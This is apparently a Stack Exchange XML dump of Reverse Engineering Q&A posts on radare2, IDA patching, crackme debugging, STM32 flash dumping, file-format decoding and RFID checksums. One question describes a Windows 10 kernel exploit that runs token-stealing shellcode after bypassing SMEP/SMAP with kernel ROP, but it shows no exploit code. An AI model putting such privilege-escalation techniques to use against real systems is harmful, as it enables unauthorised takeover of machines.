  <row Id="20752" PostTypeId="1" CreationDate="2019-03-01T18:39:09.567" Score="1" ViewCount="400" Body="&lt;p&gt;Cutter displays functions like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wPYgn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wPYgn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble understanding the layout of the functions &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1lEpQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1lEpQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does 184 mean?&#xA;What does the green | mean at the beginning of each  line?&#xA;Why are there two jump instructions?&lt;/p&gt;&#xA;" OwnerUserId="27647" LastActivityDate="2019-03-02T21:41:26.650" Title="What does layout of Cutter/Radare2's function dissasembly mean?" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20753" PostTypeId="2" ParentId="17110" CreationDate="2019-03-02T00:40:34.017" Score="1" Body="&lt;p&gt;For anyone who sees this in the future.&#xA;The problem was indeed the 64 vs 32 bit issue that the asker thought. The mistake is in this line &lt;code&gt;NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader-&amp;gt;e_lfanew);&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, you attempt to add two pointers as a hack to get an address and cast it as a pointer to &lt;a href=&quot;https://docs.microsoft.com/en-gb/windows/desktop/api/winnt/ns-winnt-_image_nt_headers&quot; rel=&quot;nofollow noreferrer&quot;&gt;IMAGE_NT_HEADERS&lt;/a&gt; structure. 64-bit pointers, as @dee_two mentioned are 64bits long and &lt;code&gt;DWORD&lt;/code&gt;-ing them truncates them; you should get a warning from the vs compiler about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/winprog64/rules-for-using-pointers&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;: don't ever typecast pointers to DWORD, especially on 64-bit architecture. Instead typecast it to a ULONG_PTR or UINT_PTR, like this:&#xA;&lt;code&gt;NtHeader = PIMAGE_NT_HEADERS(ULONG_PTR(Image) + DOSHeader-&amp;gt;e_lfanew);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I lost too much time to find this answer...&lt;/p&gt;&#xA;" OwnerUserId="27649" LastEditorUserId="266" LastEditDate="2019-03-08T14:11:02.420" LastActivityDate="2019-03-08T14:11:02.420" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20754" PostTypeId="2" ParentId="20750" CreationDate="2019-03-02T04:16:11.167" Score="0" Body="&lt;p&gt;it may be a check for odd numbers &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6zi5t.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6zi5t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-03-02T04:16:11.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20755" PostTypeId="1" CreationDate="2019-03-02T15:37:35.960" Score="0" ViewCount="521" Body="&lt;p&gt;This is probably something very easy that I'm missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this operation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;length_of_userInput = (signed int)(unsigned __int8)userInput &amp;gt;&amp;gt; 1;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;length_of_userInput&lt;/code&gt; is currently reading '4LL', type is __int64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering what is the correct type to give IDA to display '4LL' into a readable int?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried inputting int, long (becomes __int64), and all __ints (int8,16,32) with no success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rax, [rbp+var_6E8]&#xA;mov     [rbp+userInputBuffer], rax&#xA;mov     rax, [rbp+userInputBuffer]&#xA;mov     rcx, [rbp+auth_string_pointer]&#xA;mov     [rbp+var_528], rcx&#xA;mov     rcx, [rbp+var_528]&#xA;mov     [rbp+var_520], rcx&#xA;mov     rdx, [rbp+var_520]&#xA;mov     [rbp+var_518], rdx&#xA;mov     rdx, [rbp+var_518]&#xA;mov     [rbp+var_510], rdx&#xA;mov     rdx, [rbp+var_510]&#xA;movzx   esi, byte ptr [rdx]&#xA;and     esi, 1&#xA;cmp     esi, 0&#xA;mov     [rbp+length_of_userInput], rax&#xA;mov     [rbp+var_6F8], rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(disclaimer: naming might be wrong. I hope not but I'm not sure :/ )&lt;/p&gt;&#xA;" OwnerUserId="26890" LastEditorUserId="26890" LastEditDate="2019-03-02T18:24:32.617" LastActivityDate="2019-03-02T18:24:32.617" Title="Handling __int64 in IDA?" Tags="|ida|disassembly|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20756" PostTypeId="2" ParentId="20752" CreationDate="2019-03-02T20:55:58.203" Score="0" Body="&lt;p&gt;I don't know what the 184 means; perhaps you should scroll right the left pane to see if it appears there and what is the name of the column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the pipes on the left, these are the arrows stretching from the functions that appear on top: these are just &quot;lines&quot; stretching down so you will be able to track the branches sources / destinations.&lt;/p&gt;&#xA;" OwnerUserId="26722" LastActivityDate="2019-03-02T20:55:58.203" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20757" PostTypeId="2" ParentId="20752" CreationDate="2019-03-02T21:41:26.650" Score="2" Body="&lt;p&gt;this query has got noting to do with Reverse Engineering &lt;/p&gt;&#xA;&#xA;&lt;p&gt;184 is the size of Function &#xA;you can use afi to check what the function sizes are &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x01012d6c]&amp;gt; afil&#xA;address    size  nbbs edges    cc cost  min bound range max bound  calls locals args xref frame name&#xA;========== ==== ===== ===== ===== ==== ========== ===== ========== ===== ====== ==== ==== ===== ====&#xA;0x01012d6c  626    43    62    23  290 0x0101217f 110918 0x0102deb2    19    6      3    0   112 entry0&#xA;[0x01012d6c]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the green lines represent basic block boundaries / jumps to / jumps from etc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can disable them with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e asm.lines = false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;why two jumps who knows it is your binary may be it is handcrafted code &#xA;you have to determine that &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can have n number of unconditional jumps one below other &lt;/p&gt;&#xA;&#xA;&lt;p&gt;supposing you have code like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;__declspec (naked) void foo(void) {&#xA;    goto jumphere;&#xA;    jumpthere:&#xA;    goto dowork;    &#xA;    jumphere:&#xA;    goto jumpthere;&#xA;    dowork:&#xA;    printf (&quot;i came here after jumping through hoops\n&quot;);&#xA;}&#xA;void main(void){&#xA;foo();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you disassemble foo() you can see jumps like you show on screenshot&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00401358]&amp;gt; af @0x401000&#xA;[0x00401358]&amp;gt; pdf @0x401000&#xA;            ;-- section..text:&#xA;/ (fcn) fcn.00401000 20&#xA;|   fcn.00401000 ();&#xA;|       ,=&amp;lt; 0x00401000      eb06           jmp 0x401008                ; [00] -r-x section size 249856 named .text&#xA;..&#xA;|      ||   ; CODE XREF from fcn.00401000 (0x401008)&#xA;|    ,.---&amp;gt; 0x00401004      eb04           jmp 0x40100a&#xA;..&#xA;|   |||||   ; CODE XREF from fcn.00401000 (0x401000)&#xA;|   ||```-&amp;gt; 0x00401008      ebfa           jmp 0x401004&#xA;|   ||      ; CODE XREF from fcn.00401000 (0x401004)&#xA;|   ``----&amp;gt; 0x0040100a      68a0e14300     push str.i_came_here_after_jumping_through_hoops ; 0x43e1a0 ; &quot;i came here after jumping through hoops\n&quot;&#xA;|           0x0040100f      e85c000000     call fcn.00401070&#xA;|           0x00401014      83c404         add esp, 4&#xA;\           0x00401017      cc             int3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[0x00401358]&gt; e asm.lines= false&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00401358]&amp;gt; pdf @0x401000&#xA;;-- section..text:&#xA;(fcn) fcn.00401000 20&#xA;  fcn.00401000 ();&#xA;0x00401000      eb06           jmp 0x401008                            ; [00] -r-x section size 249856 named .text&#xA;..&#xA;; CODE XREF from fcn.00401000 (0x401008)&#xA;0x00401004      eb04           jmp 0x40100a&#xA;..&#xA;; CODE XREF from fcn.00401000 (0x401000)&#xA;0x00401008      ebfa           jmp 0x401004&#xA;; CODE XREF from fcn.00401000 (0x401004)&#xA;0x0040100a      68a0e14300     push str.i_came_here_after_jumping_through_hoops ; 0x43e1a0 ; &quot;i came here after jumping through hoops\n&quot;&#xA;0x0040100f      e85c000000     call fcn.00401070&#xA;0x00401014      83c404         add esp, 4&#xA;0x00401017      cc             int3&#xA;[0x00401358]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-03-02T21:41:26.650" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20758" PostTypeId="2" ParentId="20750" CreationDate="2019-03-03T12:41:21.247" Score="0" Body="&lt;p&gt;At it's most basic level, this code piece checks if the lowest bit of a given variable is set. As mentioned, one possibility is that this code checks if the variable is a even number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option (which to me seems more reasonable given the limited context provided), is that the least significant bit is used as a flag/bit-field to signify the state of a value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several commonly seen options are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;specifying whether something is initialized.&lt;/li&gt;&#xA;&lt;li&gt;what's the type of the value; either a string or an integer, for example. This can be seen in Javascript VMs, for example. To avoid storing an additional field.&lt;/li&gt;&#xA;&lt;li&gt;An encoding of variable length values. ASN1, for example, encodes it's &lt;em&gt;variable-length length fields&lt;/em&gt; dedicating a bit to whether this is the last byte of the length field.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-03-03T12:41:21.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20760" PostTypeId="1" AcceptedAnswerId="20766" CreationDate="2019-03-03T18:37:38.823" Score="2" ViewCount="5854" Body="&lt;p&gt;What is the easiest way (or is there any) to modify an instruction&#xA;inside a binary opened inside IDA and save the changes to the original? &#xA;Is there a builtin assembler who's output I can place at a certain offset? How can I save back a binary after having edited the hex view?&lt;/p&gt;&#xA;" OwnerUserId="16938" LastActivityDate="2019-03-03T22:21:44.913" Title="Recommended way to modify assembler instructions in IDA" Tags="|ida|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20762" PostTypeId="1" AcceptedAnswerId="20764" CreationDate="2019-03-03T20:01:28.343" Score="2" ViewCount="1443" Body="&lt;p&gt;I am solving a crack me challenge but I am stuck. The challenge executes several &lt;code&gt;jne&lt;/code&gt; tests. The first test is the simpliest but I don't arrive to print the &lt;code&gt;eax&lt;/code&gt; value to know the content of &lt;code&gt;cmp&lt;/code&gt; instruction. According to this block of code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|    ; DATA XREF from sym.main (0x804848e)&#xA;|    0x08048497      b88a55ea8b     mov eax, 0x8bea558a&#xA;|    0x0804849c      45             inc ebp&#xA;|    0x0804849d      f4             hlt&#xA;|    0x0804849e      83c004         add eax, 4&#xA;|    0x080484a1      8a00           mov al, byte [eax]&#xA;|    0x080484a3      38c2           cmp dl, al&#xA;|,=&amp;lt; 0x080484a5      753d           jne 0x80484e4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I print the &lt;code&gt;eax&lt;/code&gt; value to understand what are compared in the instruction ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x080484a1      8a00           mov al, byte [eax]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11768/how-to-print-from-pointers-in-radare2-in-debug-session&quot;&gt;this question&lt;/a&gt;, I tried the &lt;code&gt;0x080484a1&lt;/code&gt; but when I enter the command &lt;code&gt;pxr 1 @ eax+0x4&lt;/code&gt;, nothing appears. If I enter the command &lt;code&gt;pxr @ eax+0x4&lt;/code&gt;, this code appears :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x080c288c  0x6f6c6165  ealo ascii&#xA;0x080c2890  0x00796768  hgy. ascii&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ascii printed is linked with the string compared &lt;code&gt;ksuiealohgy&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26974" LastActivityDate="2019-03-03T21:05:06.197" Title="How to print eax value with Radare2?" Tags="|debugging|radare2|debuggers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20764" PostTypeId="2" ParentId="20762" CreationDate="2019-03-03T21:05:06.197" Score="3" Body="&lt;p&gt;Not sure why you used &lt;code&gt;pxr&lt;/code&gt; as you could get the output with &lt;code&gt;px 1 @ eax+0x4&lt;/code&gt;. But another options would be that you could run this opcode and then read the register value of &lt;code&gt;al&lt;/code&gt; to get that. But in order to do that you need to use debugger commands instead (of course you need to be in debugging mode):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f5953803e90]&amp;gt; dr?&#xA;Usage: dr   Registers commands&#xA;| dr                     Show 'gpr' registers&#xA;&amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to get the value of &lt;code&gt;al&lt;/code&gt; execute during debugging session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f5953803e90]&amp;gt; dr al&#xA;0x00000090&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-03-03T21:05:06.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20765" PostTypeId="1" CreationDate="2019-03-03T22:13:49.817" Score="0" ViewCount="361" Body="&lt;p&gt;I have a working device with a STM32F405ZGT6 in it. I want to dump the software it runs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, there's no external flash on the device, so it must be running off of the internal flash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've identified the SWD pins on the package and the designers helpfully left tiny attachment points to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As someone who's never done this on the hardware side, now what? What hardware do I need to attach to this core? What software? (I keep reading about openocd - is there something better?) How hard of a journey am I starting here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="27660" LastActivityDate="2019-03-03T22:13:49.817" Title="Dumping flash from a running Cortex-M" Tags="|arm|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20766" PostTypeId="2" ParentId="20760" CreationDate="2019-03-03T22:21:44.913" Score="4" Body="&lt;p&gt;This is quite easy with IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the cursor at the first instruction you want to modify go to Edit | Patch Program | Assemble&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BqQQq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BqQQq.png&quot; alt=&quot;IDA Pro | Edit | Patch Program | Assemble&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the instruction(s) as required until you are done, then press OK&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2cDXd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2cDXd.png&quot; alt=&quot;IDA Pro | Assemble Instruction&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally choose Edit | Patch Program | Apply patches to input file (and optionally make a backup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example: &lt;a href=&quot;https://www.remkoweijnen.nl/blog/2013/05/23/application-compatibility-fixing-to-the-extreme/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.remkoweijnen.nl/blog/2013/05/23/application-compatibility-fixing-to-the-extreme/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Help:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Edit|Patch core submenu   This submenu allows you to patch the image&#xA;  of the input file. More precisely, IDA never modifies the input file.&#xA;  The image of the input file which was loaded to the database will be&#xA;  modified.  You can modify the image of the input file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    - change a byte&#xA;    - change a word&#xA;    - enter an assembler instruction (only for IBM PC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;IDA will display the original value, the current value and file&#xA;  offset. If the file offset is equal to 0xFFFFFFFF then the current&#xA;  byte comes from a compressed page (LX/LE/NE iterated pages, for&#xA;  example) and/or it is not possible to tell the file position.  You can&#xA;  create a difference file and use an external tool to apply the patches&#xA;  or you can apply the patches directly to the file using IDA. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The following commands are availabe: &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Patch byte or word  Assemble...  Apply patches to input file...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;See also:   Produce EXE file  Produce DIF file  Edit submenu.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="99" LastActivityDate="2019-03-03T22:21:44.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20768" PostTypeId="1" AcceptedAnswerId="20963" CreationDate="2019-03-04T06:42:39.717" Score="6" ViewCount="487" Body="&lt;p&gt;I have written a kernel exploit (for the latest Win10 64bit) that executes (or returns to from the kernel) token stealing shellcode, which is placed in the VirtulAlloc'ed memory in the userland.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when the exploit is executed by admin user, it works fine but if it is executed by the normal user (medium integrity), it crashes with &lt;code&gt;ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I check the permission of the usermode shellcode memory, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(standard user)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PXE at FFFF8542A150A010    PPE at FFFF8542A1402DF0    PDE at FFFF8542805BECA0    PTE at FFFF8500B7D94400&#xA;contains 8A000000269B1867  contains 0A0000001C4F2867  contains 0A0000002673C867  contains 0000000032E84025&#xA;pfn 269b1     ---DA--UW-V  pfn 1c4f2     ---DA--UWEV  pfn 2673c     ---DA--UWEV  pfn 32e84     ----A--UREV&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while in admin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PXE at FFFF8944A2512028    PPE at FFFF8944A2405E48    PDE at FFFF894480BC9F28    PTE at FFFF8901793E5800&#xA;contains 0A000000060BD867  contains 0A0000003593E867  contains 0A0000000FBAB867  contains 000000001DFF4825&#xA;pfn 60bd      ---DA--UWEV  pfn 3593e     ---DA--UWEV  pfn fbab      ---DA--UWEV  pfn 1dff4     ----A--UREV&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The difference is at the PXE level, there is no &lt;code&gt;E&lt;/code&gt; bit set for standard user while admin user has execution permission on the usermode shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried implementing the shellcode as a function of the exploit(.exe) so it is placed in code segment (which it will probably have execution privilege), but it is same (No &lt;code&gt;E&lt;/code&gt; set in PXE level) and crashes although &lt;code&gt;!vad&lt;/code&gt; command outputs &lt;code&gt;EXECUTE_WRITECOPY&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked that &lt;code&gt;ProcessMitigationPolicy&lt;/code&gt;'s &lt;code&gt;ProhibitDynamicCode&lt;/code&gt; is set to 0, so I don't think this is the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you guys execute shellcode when writing kernel exploit these days?&#xA;(FYI I have disabled SMEP, SMAP via Kernel ROP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3461" LastActivityDate="2019-03-26T14:50:58.373" Title="Returning to usermode shellcode from windows kernel (Win10)" Tags="|exploit|shellcode|windows-10|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20769" PostTypeId="1" CreationDate="2019-03-04T11:23:37.137" Score="0" ViewCount="171" Body="&lt;p&gt;In IDA when disassembling a x86 EXE file there is a line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test byte ptr [ebp+XXX], cl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before this line &lt;code&gt;cl&lt;/code&gt; has a value of &lt;code&gt;0x11&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Hex-Rays decompiler plugin translates it as &lt;code&gt;if (v10 &amp;amp;0x11)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is &lt;code&gt;test&lt;/code&gt; decompiled like &lt;code&gt;and&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="27074" LastEditorUserId="245" LastEditDate="2019-03-05T21:08:56.170" LastActivityDate="2019-03-05T21:08:56.170" Title="Why Ida pseudo-code translate test as AND?" Tags="|ida|assembly|x86|hexrays|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20770" PostTypeId="2" ParentId="20769" CreationDate="2019-03-04T11:56:47.597" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://www.felixcloutier.com/x86/test&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;test&lt;/code&gt;&lt;/a&gt; is basically an &lt;a href=&quot;https://www.felixcloutier.com/x86/and&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;and&lt;/code&gt;&lt;/a&gt; instruction except it doesn't update the left operand.&#xA;In the other hand, &lt;a href=&quot;https://www.felixcloutier.com/x86/cmp&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;cmp&lt;/code&gt;&lt;/a&gt; is the equivalent of &lt;a href=&quot;https://www.felixcloutier.com/x86/sub&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;sub&lt;/code&gt;&lt;/a&gt; instruction except it doesn't update the left operand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (v &amp;amp; n)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is compiled as &lt;code&gt;test&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (v == n)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is compiled as &lt;code&gt;cmp&lt;/code&gt; instruction (or &lt;code&gt;test reg, reg&lt;/code&gt; is n is 0x0)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v = a &amp;amp; n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is compiled as &lt;code&gt;and&lt;/code&gt; instruction.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastEditorUserId="26176" LastEditDate="2019-03-04T14:05:37.777" LastActivityDate="2019-03-04T14:05:37.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20771" PostTypeId="1" CreationDate="2019-03-04T12:59:18.327" Score="4" ViewCount="914" Body="&lt;p&gt;I have some technical documentation which is supplied in the form of a generic Windows viewer and a database. The database contains different &quot;books&quot;, which are represented by a bunch files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;book.bbi&lt;/strong&gt; - book index i.e. what pages are in the book&lt;/li&gt;&#xA;&lt;li&gt;a bunch of &lt;strong&gt;.bli&lt;/strong&gt;'s - text entries on the page, &lt;em&gt;that's a guess&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;a bunch of &lt;strong&gt;.ilg&lt;/strong&gt;'s - media on the page, &lt;em&gt;that's a guess too&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All these files have a plaintext header and what's remaining is the data which is compressed or encrypted in some way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;upd:&lt;/strong&gt; the data_header is actually the uncompressed length of the data&#xA;&lt;a href=&quot;https://i.stack.imgur.com/47ziM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/47ziM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried running binwalk and XorSearch, but with no success. I guess now I have to debug it, but I am very, very unfamiliar with it. I am using x32dbg with the xAnalyzer plugin. I tried setting a breakpoint on ReadFile and tracing from there, but it produces an enormously large log. However I can see that it uses crush32.dll - &quot;old C/Win32 compression library&quot; and runs some ors/xors and byte shifts(shr) which kinda reinforces my thought about compression/encryption usage.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/a1PtB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a1PtB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how do I approach it from here? How do I at least dump all strings with the correspoding instructions i.e. get to the point where this byte-mess becomes readable strings? I am absolutely stuck. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="27663" LastEditorUserId="27663" LastEditDate="2019-03-06T23:16:04.197" LastActivityDate="2020-09-30T18:34:57.423" Title="Reverse engineering file format - ImageLink" Tags="|file-format|decryption|decompress|x64dbg|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20772" PostTypeId="1" AcceptedAnswerId="20789" CreationDate="2019-03-04T13:46:16.633" Score="1" ViewCount="3085" Body="&lt;p&gt;I'm working on an RFID reader that has partial implementation with ISO/IEC 14443-4 although not specifically compliant. I can decode a lot of the strings and understand the command base but I have not been able to crack the check sum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read commands are 4 bytes in the format&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x82 Read Chunk&#xA;0xYY Chunk Number&#xA;2 Byte checksum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the response is to echo the Read command, chunk Id, 32 Bytes of data then 2 byte checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the hex strings with a bunch of standard checksum calculators as well as looking for things like logical ands but cannot find any rule for how they are generated. Is there some other techniques for this style of checksum?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample Data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8208942d&#xA;82081101004049424d2020202020363831303232393437310004000d1f0e000d220a273b&#xA;82091d3c&#xA;8209000d2591000e8521000e8521000e881d363955320000000000000000386c1940c1a4&#xA;821b8e0f&#xA;821b00000000000000000000000000000000000000000000000000000000000000008ca8&#xA;821c317b&#xA;821c0000000000000000000000000000000000000000000000000000000000000000b461&#xA;821db86a&#xA;821d0000000000000000000000000000000000000000000000000000000000000000d721&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27664" LastActivityDate="2019-03-06T03:39:48.443" Title="2byte checksum for serial traffic" Tags="|serial-communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
